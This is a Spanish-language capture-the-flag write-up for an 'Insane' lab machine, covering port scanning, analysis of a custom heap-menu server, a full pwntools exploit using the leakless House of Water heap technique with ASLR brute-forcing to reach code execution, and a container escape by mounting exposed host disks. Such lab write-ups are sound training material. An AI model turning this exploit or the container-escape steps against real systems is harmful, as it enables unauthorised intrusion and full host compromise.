Introduction

El Sistema de Control Silencioso del Bufón
Érase una vez, antes de que la risa de Hopper resonara por el manicomio HopSec, unos investigadores descubrieron rumores sobre un extraño servidor oculto en algún lugar de sus sistemas personales. Nadie lo ha visto realmente, nadie ha logrado acceder a él y todos los intentos de intrusión han fracasado. Los pocos indicios existentes apuntan a una versión rudimentaria e inestable de la antigua infraestructura de mando y control del Rey Malhare, reconstruida por Hopper para convertirla en algo retorcido e impredecible. Se dice que el lugar está repleto de carpetas extrañas, notas dispersas y varios archivos binarios sospechosos que parecen palpitar con ritmo propio. Hopper está obsesionado con construir, modificar y destruir cosas solo para volver a levantarlas, y asegura no cometer jamás un solo error. Para él, todo lo que crea es perfecto, aunque desde fuera parezca un caos.
Más extraño aún es el comportamiento del servidor cuando alguien se acerca. Las conexiones se interrumpen sin motivo aparente. Las tareas aparecen, desaparecen y vuelven a surgir en otro lugar. Los registros se reescriben solos. Algunos scripts responden a los comandos con mensajes que denotan una inquietante consciencia propia. Hopper llama a este lugar su obra maestra. Dice que está vivo. Dice que solo le obedece a él.
Se desconoce si planeaba un sabotaje, una rebelión o algo mucho más insólito, ya que ningún analista ha logrado examinar su interior. Lo único seguro es que Hopper custodia este secreto con una sonrisa frenética y una mente que se aleja cada día más de la realidad. La pregunta ahora es: ¿podrás demostrar que se equivoca o te perderás en su locura?
Getting the Flags
Reconocimiento Inicial
Comenzamos escaneando puertos abiertos.

Ahora vamos a analizar dichos puertos más en profundidad.

Vamos a ver qué directorios puede haber en la web.

Vamos a ver qué hay en la web.
Profundización
Vamos a mirar en el directorio que hemos encontrado.

Vamos a ver qué pasa si nos conectamos al puerto 9004:

Lo único que podemos deducir de momento es que E es para salir (Exit). Vamos a ver qué hay en el ZIP.

Binary Analysis - 1
Vamos a ver qué podemos encontrar en el binario.

En él podemos encontrar la primera flag. Vamos a seguir investigando.

Parece que EastMass puede ser la clave de acceso. Ahora lo ejecutamos.

Efectivamente, vamos a intentar conectarnos a dicho puerto.

Y lo recibe.

Ahora tenemos que encontrar comandos válidos. Recordamos el menú. Vamos a probarlo con:
echo "4" | nc -q 2 localhost 4444

Vamos a investigar el resto de comandos. El flujo obvio parece primero cargar el payload (2) y luego ejecutar el comando (1). Después de intentarlo unas cuantas veces sin éxito y revisar las strings nos percatamos de esto:

Parece que manda una petición a localhost. Vamos a crear un payload arbitrario y a servirlo por el puerto 80.

Si no te deja abrirlo en el puerto 80, ejecuta el siguiente comando:
sudo ss -lntp | grep 80
Mira a ver qué lo ocupa y haz:
sudo systemctl stop [SERVICE]
Ahora mandamos el payload y lo ejecutamos.

En el programa recibimos lo siguiente:

Sin embargo, en el servidor que hemos abierto en el puerto 80:

Un directorio, vamos a ver qué hay en la web real en dicho directorio.

Vamos a leer el contenido de foothold.txt:

La segunda flag. Ahora vamos a descargar el ZIP y a ver qué contiene.

Vamos a analizar los archivos.
Binary Analysis - 2
En los dos primeros no hay nada relevante, son librerías. Sin embargo el segundo parece una especie de ataque de buffer overflow.

Vamos a profundizar, porque esto es lo que habíamos visto en el puerto 9004, por lo que nos interesa. Preguntándole a la IA por las letras en el contexto de buffer overflow, y con el output de strings, nos dice que:
[1] C:- Create / Allocate: Crea un espacio de memoria usandomalloc.[2] U:- Update / Edit: Modifica el contenido del espacio creado usandoread.[3] D:- Delete / Free: Libera el espacio de memoria usandofree.[4] E:- Exit: (Lo que ya sabíamos) Sale del programa.
Explotación
Buffer Overflow - House of Water
Vamos a examinar el comportamiento del programa a ver cómo responden los diferentes comandos.

Vamos a investigar comportamientos potencialmente peligrosos.

Parece que hay un UAF (Use-After-Free). Cuando creamos el chunk y lo eliminamos, podemos seguir editándolo posterior a su eliminación. Sin embargo parece que si tiene control de números enteros.

Además no permite el double free, no porque no sea vulnerable (porque sí que lo es, ya que nos ha dejado llamar a free() sobre un chunk ya liberado), sino porque las versiones modernas de glibc pueden detectarlo y mitigarlo.

Ahora intentamos romperlo utilizando el UAF.

Sin embargo no se rompe, puede deberse a mecanismos de seguridad que incorporan las últimas versiones de glibc. Vamos a usar una técnica llamada House of Water. Es una técnica de explotación de heap sin filtraciones.
Se recomienda leer el artículo enlazado, aunque en este writeup iremos directos al grano.
Para el exploit, podemos simplemente modificar el PoC compartido por el autor del artículo. Sin embargo hay una pega, el PoC incluye una funcionalidad para filtrar dos nibbles afectados por ASLR, que no tenemos, por lo que tenemos que modificar el script para bruteforcear estos bytes:
El Exploit
#!/usr/bin/env python3 from pwn import * import io_file context.update(arch="amd64", os="linux", log_level="error") context.binary = elf = ELF("./server", checksec=False) libc = ELF("./libc.so.6", checksec=False) exit_addr = libc.sym['exit'] stdout_addr = libc.sym['_IO_2_1_stdout_'] for heap_brute in range(16): for libc_brute in range(16): try: print(f"Trying heap_brute={heap_brute:#x}, libc_brute={libc_brute:#x}") r = remote("[IP_MAQUINA_VICTIMA]", 9004) idx = -1 def create(size): global idx idx = idx+1 r.sendlineafter(b'\n>>', b'1') r.sendlineafter(b'size: \n', str(size).encode()) return idx def update(index, data, offset=0): r.sendlineafter(b'\n>>', b'2') r.sendlineafter(b'idx:\n', str(index).encode()) r.sendlineafter(b'offset:\n', str(offset).encode()) r.sendafter(b'data:\n', data) def delete(index): r.sendlineafter(b'\n>>', b'3') r.sendlineafter(b'idx:\n', str(index).encode()) for _ in range(7): create(0x90-8) middle = create(0x90-8) playground = create(0x20 + 0x30 + 0x500 + (0x90-8)*2) guard = create(0x18) delete(playground) guard = create(0x18) corruptme = create(0x4c8) start_M = create(0x90-8) midguard = create(0x28) end_M = create(0x90-8) leftovers = create(0x28) update(playground,p64(0x651),0x18) delete(corruptme) offset = create(0x4c8+0x10) start = create(0x90-8) midguard = create(0x28) end = create(0x90-8) leftovers = create(0x18) create((0x10000+0x80)-0xda0-0x18) fake_data = create(0x18) update(fake_data,p64(0x10000)+p64(0x20)) fake_size_lsb = create(0x3d8); fake_size_msb = create(0x3e8); delete(fake_size_lsb) delete(fake_size_msb) update(playground,p64(0x31),0x4e8) delete(start_M) update(start_M,p64(0x91),8) update(playground,p64(0x21),0x5a8) delete(end_M) update(end_M,p64(0x91),8) for i in range(7): delete(i) delete(end) delete(middle) delete(start) heap_target = (heap_brute << 12) + 0x80 update(start,p16(heap_target)) update(end,p16(heap_target),8) exit_lsb = (libc_brute << 12) + (exit_addr & 0xfff) stdout_offset = stdout_addr - exit_addr stdout_lsb = (exit_lsb + stdout_offset) & 0xffff print(f"{heap_target=:#x}, {stdout_lsb=:#x}") win = create(0x888) update(win,p16(stdout_lsb),8) stdout = create(0x28) update(stdout,p64(0xfbad3887)+p64(0)*3+p8(0)) libc_leak = u64(r.recv(8)) libc.address = libc_leak - (stdout_addr+132) print(f"possible libc leak = {libc.address:#x}") file = io_file.IO_FILE_plus_struct() payload = file.house_of_apple2_execmd_when_do_IO_operation( libc.sym['_IO_2_1_stdout_'], libc.sym['_IO_wfile_jumps'], libc.sym['system']) update(win,p64(libc.sym['_IO_2_1_stdout_']),8*60) full_stdout = create(0x3e0-8) update(full_stdout,payload) r.interactive("$ ") exit() except Exception as e: print(e) continue
Para que la porción RCE del exploit funcione, también necesitamos el archivo io_file.py del mismo repositorio.
Ahora, con todo en su sitio, podemos ejecutar el exploit para ver que conseguimos acceso a la máquina y podemos leer user.txt.

[...]

Y ahora leemos la flag.

Es bastante raro que seamos root del tirón. Es probable que estemos en un contenedor de Docker. Vamos a investigar.

Escalada de Privilegios
Host File System Exposed
Vamos a investigar más. Después de un rato encontramos estas monturas:

Ahora vamos a ver los permisos de los archivos del directorio /dev:

Esto deja clara una vulnerabilidad, los bloques crudos del sistema host están expuestos directamente dentro del directorio /dev del contenedor. Para poder leer sus contenidos y obtener acceso a ellos, vamos a montarlos en el contenedor:

Creamos un directorio y montamos en el el disco principal. Al listar los archivos podemos ver el sistema real. Vamos a leer la flag.
Conclusión
Una máquina muy divertida, en la que hemos trabajado un montón de disciplinas y técnicas:
- Enumeración
- Análisis de Binarios
- Buffer Overflow
- Montaje de sistemas de ficheros
En resumen, una máquina que exigía saber un poco de todo. Siendo la parte más complicada sin lugar a dudas la de la explotación del Buffer Overflow mediante la técnica sin filtraciones House of Water.
¡Hemos conseguido obtener todas las flags y pasarnos nuestra primera máquina "Insane"!
